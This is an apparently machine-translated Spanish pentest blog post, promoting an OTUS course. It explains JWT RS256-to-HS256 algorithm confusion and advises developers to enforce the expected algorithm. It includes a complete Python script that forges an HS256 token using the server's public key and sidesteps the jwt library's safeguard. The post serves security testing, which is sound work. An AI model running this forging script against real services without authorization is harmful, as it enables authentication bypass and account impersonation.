JWT: ataque de firma digital frente a ataque MAC

Hola a todos No es ningún secreto que cada mes OTUS lanza varios cursos completamente nuevos y únicos, este mes el Pentest. Práctica de prueba de penetración " . Según una tradición bien establecida, en la víspera del inicio del curso, compartimos con usted la traducción de material útil en esta dirección.





Durante el último pentest, me encontré con un esquema de autorización basado en JSON Web Token (o simplemente JWT). JWT consta de tres partes: encabezado, carga útil, información de verificación. La primera parte del encabezado contiene el nombre del algoritmo, que se utilizará más adelante para la parte de verificación del JWT. Esto es peligroso porque un atacante puede modificar esta información y, por lo tanto, (posiblemente) controlar qué esquema utilizará el servidor para la verificación.

Se utilizan comúnmente dos circuitos: RS256 ( algoritmo de firma digital ) y HS256 ( algoritmo basado en MAC ). Una opción completamente insegura sería un esquema NULL: no incluya información de verificación en absoluto; desafortunadamente, el servidor web de destino no aceptó el esquema NULL.

Una pequeña variación en el ataque de type confusion JWT, que podría funcionar si la implementación del servidor usa una biblioteca de validación que simplemente llama a un código como verificar (token, clave) y supone que solo se usarán tokens firmados digitalmente. En este caso, el segundo parámetro "clave" siempre será público y se presentará para verificación (las firmas digitales usan la clave privada para crear una firma y la clave pública correspondiente para verificar la firma creada).

Ahora el atacante puede obtener la clave pública, crear un nuevo token basado en MAC y usarlo para crear parte de la verificación de este token. En un esquema basado en MAC, solo se necesita una clave secreta para crear información de verificación y, por lo tanto, el atacante utiliza una clave pública (firma digital) como clave secreta para el MAC. Si este token ahora se pasa al servidor para su verificación, la biblioteca identifica el esquema que se utilizará para el token (que el atacante estableció como HS256, señalando el esquema MAC). La biblioteca usará el segundo parámetro como entrada para crear el MAC. Como se trata de una clave pública, el nuevo MAC coincide con el MAC que se transmitió a los atacantes, y dado que coinciden, el servidor aceptará un token falso. Entonces, ¿qué debe hacer el desarrollador de la aplicación? Si el servidor acepta el token, el servidor siempre debe comprobar si el algoritmo utilizado coincide con el planificado originalmente por el desarrollador.

Teóricamente, esto debería ser fácil de verificar, pero no encontré una herramienta de trabajo. Por lo tanto, yo mismo escribí un script de Python. Para usarlo, en el código fuente debe usar las siguientes configuraciones:

  • jwks_url : ¿dónde puedo obtener información sobre la clave pública? JWKS es utilizado por muchos servicios para distribuir abiertamente información clave.
  • operation_url : una solicitud HTTP GET que utiliza un token JWT para autorización.
  • token : un JWT válido para una operación configurada.
  • audience : la audiencia para la que se configuró el token.

El script hace lo siguiente:

  • Descargue el archivo de configuración JWKS y recupere la configuración de clave pública. A partir de esto, se crea una representación pem.
  • Asegura que el token configurado se pueda verificar utilizando la clave pública extraída;
  • Realiza una operación configurada con un token válido y muestra el código de estado HTTP recibido y el documento resultante (se supone que será JSON).
  • Crea un nuevo token basado en el configurado. En el nuevo token, el tipo se cambiará a HS256; Se calculará un MAC (basado en una clave abierta) y se usará como información de verificación para el token.
  • Realice la operación configurada nuevamente con el token modificado y muestre el código de estado HTTP, así como el documento devuelto.

Como el código de estado de retorno (con un token modificado) era 401 (la autorización está prohibida), las verificaciones de autorización en el lado del servidor de destino funcionaron y, por lo tanto, no se vio comprometido por el ataque de firma contra mac. Si esto funcionara, se crearían códigos de estado idénticos y documentos resultantes similares con ambas llamadas HTTP (con el token original y el token modificado).

Espero que este artículo lo ayude en su práctica más reciente, use el script python con gusto:

 import jwt import requests from jwcrypto import jwk from cryptography.x509 import load_pem_x509_certificate from cryptography.hazmat.backends import default_backend # configuration jwks_url = "https://localhost/oauth2/.well-known/jwks.json" operation_url = "https://localhost/web/v1/user/andy" audience = "https://localhost" token = "eyJh..." # retrieves key from jwks def retrieve_jwks(url): r = requests.get(url) if r.status_code == 200: for key in r.json()['keys']: if key['kty'] == "RSA": return jwk.JWK(**key) print("no usable RSA key found") else: print("could not retrieve JWKS: HTTP status code " + str(r.status_code)) def extract_payload(token, public_key, audience): return jwt.decode(token, public_key, audience=audience, algorithms='RS256') def retrieve_url(url, token): header = {'Authorization' : "Bearer " + token} return requests.get(url, headers=header) # call the original operation and output it's results original = retrieve_url(operation_url, token) print("original: status: " + str(original.status_code) + "\nContent: " + str(original.json())) # get key and extract the original payload (verify it during decoding to make # sure that we have the right key, also verify the audience claim) public_key = retrieve_jwks(jwks_url).export_to_pem() payload = extract_payload(token, public_key, audience) print("(verified) payload: " + str(payload)) # create a new token based upon HS256, cause the jwt library checks this # to prevent against confusion attacks.. that we actually try to do (: mac_key = str(public_key).replace("PUBLIC", "PRIVATE") hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256") # call the operation with the new token modified = retrieve_url(operation_url, str(hs256_token)) print("modified: status: " + str(modified.status_code) + "\nContent: " + str(modified.json())) 

Eso es todo. Estamos esperando a todos los que hayan leído hasta el final en un seminario web gratuito sobre el tema: "Cómo comenzar a solucionar errores en la Web" .

Source: https://habr.com/ru/post/467015/


All Articles